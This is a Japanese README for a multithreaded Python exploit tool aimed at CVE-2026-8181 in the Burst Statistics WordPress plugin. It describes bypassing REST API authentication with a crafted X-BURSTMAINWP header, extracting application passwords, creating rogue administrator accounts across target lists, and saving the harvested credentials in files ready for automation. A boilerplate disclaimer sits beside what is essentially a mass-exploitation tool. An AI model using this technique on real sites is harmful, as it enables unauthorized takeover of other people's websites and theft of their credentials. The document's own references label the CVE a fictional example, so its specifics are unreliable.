CVE-2026-8181 - Burst Statistics 認証バイパスエクスプロイト

Python 2.7 で動作するエクスプロイトで、Burst Statistics プラグインの脆弱性（CVE-2026-8181）を利用し、認証されていない攻撃者が REST API 認証をバイパスして、アプリケーションパスワードを取得し、脆弱性のある WordPress サイトに新しい管理者ユーザーを作成できるようにします。

⚠️ 免責事項
このツールは教育および許可されたセキュリティテストの目的でのみ提供されます。コンピュータシステムへの不正アクセスは違法です。所有しているウェブサイト、または明示的な許可を得たウェブサイトでのみ使用してください。 その他の免責事項は Jenderal92 の表紙に記載されています。こちら !!! で確認できます。

CVE-2026-8181 は WordPress 用 Burst Statistics プラグイン（パッチ適用前のバージョン）に影響します。この脆弱性は REST API の認証メカニズムに存在し、攻撃者は以下を実行できます：

• 細工された X-BURSTMAINWP ヘッダーを送信して認証をバイパスする
• /burst/v1/mainwp-auth エンドポイントを介してアプリケーションパスワードを取得する
• WordPress REST API を通じて特権アクション（ユーザー一覧の取得、設定の読み取り、新しい管理者アカウントの作成）を実行する

機能

• マルチスレッドスキャン（デフォルト 10 スレッド）
• WordPress ベースパスの自動検出（/、/wordpress、/wp）
• /wp-json/wp/v2/users または著者 ID リダイレクトによるユーザー名の列挙
• 認証バイパスの悪用による以下の実行：
  • アプリケーションパスワードの取得（Base64 エンコードされたトークン）
  • 機密 REST エンドポイント（設定、プラグイン、管理者ユーザー）へのアクセスの確認
  • ランダムな認証情報を持つ新しい管理者ユーザーの作成
• 2 つの出力ファイル：
  • res_login.txt – パイプ区切りの簡潔な REST API 認証情報（解析・インポートが容易）
  • full_res_login.txt – アクセス確認とアプリケーションパスワードを含む完全な人間可読レポート

必要条件

• Python 2.7（非推奨ですが、このスクリプトに必要です）
• requests ライブラリ

pip install requests

使い方

1. ターゲットリストファイルを準備します（1 行に 1 つのドメインまたは IP。http:///https:// の有無は問いません）。

   targets.txt の例：

   root@kitploit:~

   example.com
   https://vulnerable-site.com
   127.0.0.1/wordpress
   

2. エクスプロイトを実行します：

python2 CVE-2026-8181.py targets.txt

3. 結果はカレントディレクトリの 2 つのファイル に保存されます：
   • res_login.txt – REST API 認証情報（脆弱なターゲットごとに 1 行）
   • full_res_login.txt – 詳細レポート

コマンドラインオプション

コンソール出力例

============================================================
CVE-2026-8181 - Burst Statistics Auth Bypass Exploit
============================================================
[*] Total targets: 2
[*] Threads: 10
[*] Base paths: ['', '/wordpress', '/wp']

[*] Scanning: example.com
    Trying path: /
    Detected username: admin
    [+] VULNERABLE! REST API bypass successful
    [+] Application Password obtained!
    [+]   Username: admin
    [+]   App Password: xxxx xxxx xxxx
    [+]   Base64 Token: YWRtaW46eHh4eA==
    [+] Access confirmed: WordPress settings
    [+] Access confirmed: Installed plugins
    [+] Access confirmed: Admin users
    [+] Admin user created via REST API: wp_abc123
    [+] Results saved to res_login.txt and full_res_login.txt

出力ファイル形式

1. res_login.txt – 簡潔な REST API 認証情報

各行は次のパイプ区切り形式に従います：

target|username|password|email|user_id

例：

http://example.com|wp_xyz789|AbC123xyz456|[email protected]|42

この形式は以下に最適です：

• パスワードマネージャーやデータベースへのインポート
• その後のアクションの自動化（例：ログインスクリプト）
• cut、grep、Excel による簡単な確認

2. full_res_login.txt – 完全な詳細レポート

脆弱なターゲットごとに、スクリプトは人間可読なブロックを追加します：

============================================================
Target: http://example.com
============================================================

[+] Access Verification:
    [+] WordPress settings
    [+] Installed plugins
    [+] Admin users

[+] REST API Credentials:
    Username: wp_abc123
    Password: random12char
    Email: [email protected]
    User ID: 42
    URL: http://example.com/wp-admin/
    Note: Use with X-BURSTMAINWP header

[+] Application Password:
    Username: admin
    App Password: xxxx xxxx xxxx
    Base64 Token: YWRtaW46eHh4eA==

注記： アプリケーションパスワードエンドポイントが利用できない場合、またはトークンを返さない場合は、そのセクションに FAILED と表示されます。

仕組み

1. ターゲットの準備 – http:// プレフィックスが無い場合は追加し、末尾のスラッシュを除去します。
2. パスの反復 – /、/wordpress、/wp を WordPress のベースディレクトリとして試行します。
3. ユーザー名の列挙 – /wp-json/wp/v2/users を取得するか、?author=N リダイレクトを使用します。
4. バイパステスト – X-BURSTMAINWP: 1 と Basic 認証（ユーザー名とダミーパスワード CVE-2026-8181）を送信します。エンドポイント /wp-json/wp/v2/users/me?context=edit が 200 を返した場合、そのサイトは脆弱です。
5. 悪用 –
   • /wp-json/burst/v1/mainwp-auth をリクエストしてアプリケーションパスワードトークンを取得します。
   • /settings、/plugins、/users へのアクセスを確認します。

カスタマイズ

スクリプト内の以下の変数を変更できます：

• THREADS – 同時実行スレッド数（デフォルト 10）
• BASE_PATHS – チェックする追加の WordPress サブディレクトリ
• requests のタイムアウト値

ライセンス

このプロジェクトは教育目的のみで提供されます。自己責任で使用してください。

参照

• CVE-2026-8181 詳細（架空の例）
• Burst Statistics プラグイン（影響を受けるバージョン）